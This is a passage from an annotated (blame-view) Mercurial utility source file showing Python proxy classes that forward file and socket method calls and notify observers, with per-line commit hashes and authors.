Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
415 r'_observer',
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
416
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
417 # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
418 r'close',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
419 # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
420 r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
421 r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
422 r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
423 r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
424 r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
425 r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
426 r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
427 r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
428 r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
429 r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
430 r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
431 r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
432 # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
433 r'read',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
434 r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
435 r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
436 r'write',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
437 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
438 # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
439 r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
440 # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
441 r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
442 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
443 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
444 }
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
445
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
446 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
447 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
448 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
449
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
450 return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
451
36832
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
452 def __nonzero__(self):
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
453 return bool(object.__getattribute__(self, r'_orig'))
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
454
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
455 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
456
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
457 def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
458 return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
459
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
460 def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
461 return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
462
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
463 def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
464 return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
465
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
466 def _observedcall(self, name, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
467 # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
468 orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
469 res = getattr(orig, name)(*args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
470
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
471 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
472 # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
473 observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
474 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
475 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
476 fn(res, *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
477
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
478 return res
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
479
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
480 def close(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
481 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
482 r'close', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
483
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
484 def fileno(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
485 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
486 r'fileno', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
487
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
488 def flush(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
489 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
490 r'flush', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
491
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
492 def isatty(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
493 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
494 r'isatty', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
495
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
496 def readable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
497 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
498 r'readable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
499
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
500 def readline(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
501 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
502 r'readline', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
503
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
504 def readlines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
505 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
506 r'readlines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
507
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
508 def seek(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
509 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
510 r'seek', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
511
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
512 def seekable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
513 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
514 r'seekable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
515
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
516 def tell(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
517 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
518 r'tell', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
519
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
520 def truncate(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
521 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
522 r'truncate', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
523
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
524 def writable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
525 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
526 r'writable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
527
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
528 def writelines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
529 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
530 r'writelines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
531
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
532 def read(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
533 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
534 r'read', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
535
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
536 def readall(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
537 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
538 r'readall', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
539
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
540 def readinto(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
541 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
542 r'readinto', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
543
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
544 def write(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
545 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
546 r'write', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
547
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
548 def detach(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
549 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
550 r'detach', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
551
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
552 def read1(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
553 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
554 r'read1', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
555
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
556 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
557 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
558
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
559 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
560 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
561 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
562
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
563 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
564 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
565 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
566 """
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
567 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
568 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
569
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
570 fn = getattr(self._input._observer, r'osread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
571 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
572 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
573
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
574 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
575
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
576 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
577 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
578 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
579 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
580
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
581 fn = getattr(self._input._observer, r'bufferedread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
582 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
583 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
584
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
585 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
586
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
587 def readline(self, *args, **kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
588 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
589
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
590 fn = getattr(self._input._observer, r'bufferedreadline', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
591 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
592 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
593
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
594 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
595
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
596 PROXIED_SOCKET_METHODS = {
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
597 r'makefile',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
598 r'recv',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
599 r'recvfrom',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
600 r'recvfrom_into',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
601 r'recv_into',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
602 r'send',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
603 r'sendall',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
604 r'sendto',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
605 r'setblocking',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
606 r'settimeout',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
607 r'gettimeout',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
608 r'setsockopt',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
609 }
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
610
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
611 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
612 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
613
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
